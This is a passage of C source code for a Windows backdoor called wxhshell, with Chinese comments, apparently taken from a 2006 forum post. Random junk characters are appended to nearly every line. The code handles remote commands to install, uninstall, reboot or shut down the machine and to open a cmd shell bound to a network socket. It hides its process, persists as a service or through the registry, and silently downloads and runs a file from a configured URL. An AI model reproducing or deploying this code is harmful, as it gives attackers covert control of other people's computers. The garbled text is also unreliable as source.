  } kI*UkM-  
  else { -!*p*3|03|  
P#G.lft"O  
    switch(cmd[0]) { cfoYnM  
  B} *V%}:)  
  // 帮助 Ly (P=M>"y  
  case '?': { @R:#"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f\ "`7  
    break; l+ T, 2sd  
  } s3lJu/Xe{  
  // 安装 @?2n]n6  
  case 'i': { g0#q"v55  
    if(Install()) )&Z>@S^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K&pM o.  
    else ,5-Zb3\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ow'^X-  
    break; PM~*|(fA  
    } ZTf_#eS$  
  // 卸载 'M%5v'$y  
  case 'r': { dl[ob,aCK  
    if(Uninstall()) boQ)fV"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rB]W,8~%  
    else *Wyl2op6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0#|7U_n  
    break; t*+! n.p  
    }  t.3 \/  
  // 显示 wxhshell 所在路径 0K3Hf^>m  
  case 'p': { jmW^`%;7  
    char svExeFile[MAX_PATH]; l]vohLz 3!  
    strcpy(svExeFile,"\n\r"); 8[\ 79|  
      strcat(svExeFile,ExeFile); pv$tTWk  
        send(wsh,svExeFile,strlen(svExeFile),0); &X w`T9<  
    break; %F$N#YG  
    } J%r7<y\  
  // 重启 d)*(KhYie@  
  case 'b': { _'*DT=H'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wr@GN8e`  
    if(Boot(REBOOT)) b:x7)$(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }|He?[TR  
    else { >Pkdu}xP3  
    closesocket(wsh); ku3D?D:V  
    ExitThread(0); 8xo;E=`   
    } u&3EPu  
    break; YeIe\3x!N  
    } ]N\6h(**wy  
  // 关机 $5/\Z  
  case 'd': { >)%#V<{<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJf>"IF-  
    if(Boot(SHUTDOWN)) , ,{6m d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3LfTGO  
    else { B007x{-L  
    closesocket(wsh); B/u*<k4  
    ExitThread(0); T+W3_xISX  
    } 8on[%Vk  
    break; JTkCk~bX[z  
    } {F)E\)$G  
  // 获取shell ^fZGX<fH   
  case 's': { D5[VK `4Z  
    CmdShell(wsh); n `#+L~X  
    closesocket(wsh); z\h, SX<U  
    ExitThread(0); W8uVd zQ   
    break; %QE5<2k  
  } 8 DL hk  
  // 退出 4^MSX+zt  
  case 'x': { ^^Bm$9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )6C`&Mj  
    CloseIt(wsh); b60[({A\s&  
    break; ~GYpa t  
    } G* Ib^;$u  
  // 离开 |)';CBb  
  case 'q': { 4d6% t2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;:^ Lv  
    closesocket(wsh); 1bDJ}M~]z  
    WSACleanup(); \SzGzCJ  
    exit(1); t_Z _!Qy  
    break; >~>{;Wq(p+  
        } dWIZ37w+D  
  } |3"NwM>  
  } $OT}`Te~  
E.4n}s  
  // 提示信息 <q1'Li)_R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k{qLkcOg=  
} \ j x0ZHR  
  } I<9n(rA  
){jqfkL  
  return; D;J|eC>^  
} w2K Wa-BO  
WkcH5[  
// shell模块句柄 l92!2$]b  
int CmdShell(SOCKET sock) $ #t|(\  
{ XzN-slu!  
STARTUPINFO si; xf[z EEt  
ZeroMemory(&si,sizeof(si)); 6HB]T)n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A@\qoS[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bd.Z+#%l"  
PROCESS_INFORMATION ProcessInfo; Yo@m50s$  
char cmdline[]="cmd"; ]zy~@,\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U"/yB8!W  
  return 0; ,?t}NZY&  
} 1riBvBT  
D@}St:m}  
// 自身启动模式 PGMv(}%;  
int StartFromService(void) % Mw'e/?  
{ T&mbXMN  
typedef struct e%'z=%(  
{ vx PDC~3;  
  DWORD ExitStatus; #?A]v>I;C  
  DWORD PebBaseAddress; CF,8f$:2  
  DWORD AffinityMask; /bu'6/!`  
  DWORD BasePriority; ?L8&(&1@VD  
  ULONG UniqueProcessId; K:Mujx:  
  ULONG InheritedFromUniqueProcessId; d"LoK,p#  
}   PROCESS_BASIC_INFORMATION; v hR twi  
K`,nW6\  
PROCNTQSIP NtQueryInformationProcess; $dr27tse&<  
V> 1D1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y4 dp1<t%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kT>r<`rt  
e!.7no  
  HANDLE             hProcess; rL.<Z@ -  
  PROCESS_BASIC_INFORMATION pbi; ^l&nB.  
-qs(2^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,*q#qW!!  
  if(NULL == hInst ) return 0; :,urb*  
:~WPY9i`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ],H1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NW }>pb9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #>MO]  
h85 (N  
  if (!NtQueryInformationProcess) return 0; FLi(#9  
o(?VX`2"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 782[yLyv  
  if(!hProcess) return 0; s$js5 ou  
k, $I59  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4!NfQk>X  
Y] D7i?3N  
  CloseHandle(hProcess); 3D]2$a_d  
Mp]yKl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }R7sj  
if(hProcess==NULL) return 0; Wg}B@:`T  
E1$Hu{  
HMODULE hMod;  5xG|35Pj  
char procName[255]; M"k3zK,  
unsigned long cbNeeded; D{Hh#x8Y  
^zBjG/'7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iSSc5ek4  
e{^:/WcYB  
  CloseHandle(hProcess); P-/XYZ]`  
stf,<W  
if(strstr(procName,"services")) return 1; // 以服务启动 {m?K2]](  
K> c8r8!  
  return 0; // 注册表启动 Z/XM `Cy  
} (#f m (@T  
ccHLL6F{  
// 主模块 H1aV}KD  
int StartWxhshell(LPSTR lpCmdLine) ?Zc/upd:$N  
{ >reaIBT  
  SOCKET wsl; B FzcoBu-  
BOOL val=TRUE; $[HcHnf  
  int port=0; p?J~'  
  struct sockaddr_in door; t(Q&H!~e   
c9Y2eetO  
  if(wscfg.ws_autoins) Install(); mB{&7Rb0  
*" |VNnB  
port=atoi(lpCmdLine); Q0 uP8I}n  
5Z4(J?n  
if(port<=0) port=wscfg.ws_port; icKg7-$N  
]7XkijNb  
  WSADATA data; lpM>}0v   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w^:V."}-$  
oTplxF1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ``2QOu 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _IQU<Za  
  door.sin_family = AF_INET; yFPaWW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h"RP>fZt  
  door.sin_port = htons(port); $UFge%`,q@  
FR@PhMUS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )[@YHE5g  
closesocket(wsl); !s#'pTZk4  
return 1; s2(w#n)  
} 7yqSt)/U  
~x4{P;y  
  if(listen(wsl,2) == INVALID_SOCKET) { FqT,4SIR  
closesocket(wsl); =Do3#Xe2V  
return 1; 7/p J6>  
} jkQt'!  
  Wxhshell(wsl); F_p3:l  
  WSACleanup(); [9db=$v8$  
';;p8bv+  
return 0; .N zW@|  
;Sx'O  
} Dr8WV \4@  
d'lr:=GQ  
// 以NT服务方式启动 7\\~xSXh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ex@,F,u>o  
{ E1U4v&P  
DWORD   status = 0; A}t&-  
  DWORD   specificError = 0xfffffff; .b_0k<M!p  
]<\;d B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q+u#?['  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oUKBb&&O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oPBg+Bh*  
  serviceStatus.dwWin32ExitCode     = 0; !yV,|)y5F  
  serviceStatus.dwServiceSpecificExitCode = 0; @aqd'O  
  serviceStatus.dwCheckPoint       = 0; |%2/I>o  
  serviceStatus.dwWaitHint       = 0; He0N  
7T|J[W O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0]h8)EW  
  if (hServiceStatusHandle==0) return; $p}~,Kp/  
$$bTd3N+  
status = GetLastError(); XL.CJ5y>  
  if (status!=NO_ERROR) Z}'F"}QI  
{ 1{hoO<CJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 90y9~.v  
    serviceStatus.dwCheckPoint       = 0; z 1#0  
    serviceStatus.dwWaitHint       = 0; /]MB6E7&  
    serviceStatus.dwWin32ExitCode     = status; oM18aR&  
    serviceStatus.dwServiceSpecificExitCode = specificError; #iR yjD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @o3R`ZgC]\  
    return; c:@OX[##  
  } ]9KQP-p'  
cAKoPU>U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v0hfY   
  serviceStatus.dwCheckPoint       = 0; }`<>$2b  
  serviceStatus.dwWaitHint       = 0; >XXMIz:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qj3bt_F!x  
} lEYT{  
<<W.x)#:  
// 处理NT服务事件,比如:启动、停止 MWn L#!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mSk :7ozZ  
{ Y|0-m#1F#  
switch(fdwControl) /_VRO9R\V  
{ qm'C^ X?  
case SERVICE_CONTROL_STOP: fa+W9  
  serviceStatus.dwWin32ExitCode = 0; C#**)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Xd\$)n  
  serviceStatus.dwCheckPoint   = 0; ^pQo`T6  
  serviceStatus.dwWaitHint     = 0; k+q6U[ce  
  { OnPy8mC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7Y'3x,`  
  } Io4:$w  
  return; ?lET45'  
case SERVICE_CONTROL_PAUSE: G2yUuyAZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "{ry 9?z  
  break; rlO%%Qn`  
case SERVICE_CONTROL_CONTINUE: Dt~}9HrU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QIMv9;  
  break; +U_-Lq )  
case SERVICE_CONTROL_INTERROGATE: \xO2WD  
  break; X!+Mgh6  
}; 5%Fn^u:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SX?$H~A  
} ^;k _  
l5y#i7q  
// 标准应用程序主函数 _#YHc[Wz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q5\LdI2  
{ :oj) eS[Y  
L(1,W<kYg  
// 获取操作系统版本 "! 6 B5Oz  
OsIsNt=GetOsVer(); 0rm;)[SjF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k>0cTBY&  
kN9sug^  
  // 从命令行安装 P7x?!71?L  
  if(strpbrk(lpCmdLine,"iI")) Install(); klC^xSx  
kzVI:  
  // 下载执行文件 3JE;:2O~P  
if(wscfg.ws_downexe) { U)w|GrxX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ep}/dBg  
  WinExec(wscfg.ws_filenam,SW_HIDE); <9@]|  
} X.AOp  
QUw5~n ;-  
if(!OsIsNt) { =ci5&B?  
// 如果时win9x,隐藏进程并且设置为注册表启动 g1*H|n h2  
HideProc(); uF3p1by  
StartWxhshell(lpCmdLine); j_WF38o  
} ' bw,K*  
else ihBl",l&Hq  
  if(StartFromService()) 3F'dT[;  
  // 以服务方式启动 ^57fHlw  
  StartServiceCtrlDispatcher(DispatchTable); cKYvRe  
else L{0OMyUA  
  // 普通方式启动 S5 nw  
  StartWxhshell(lpCmdLine); A-wxf91+:  
OI}HvgV^!  
return 0; MW[ 4^  
}
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只看该作者 1 发表于: 2006-10-10
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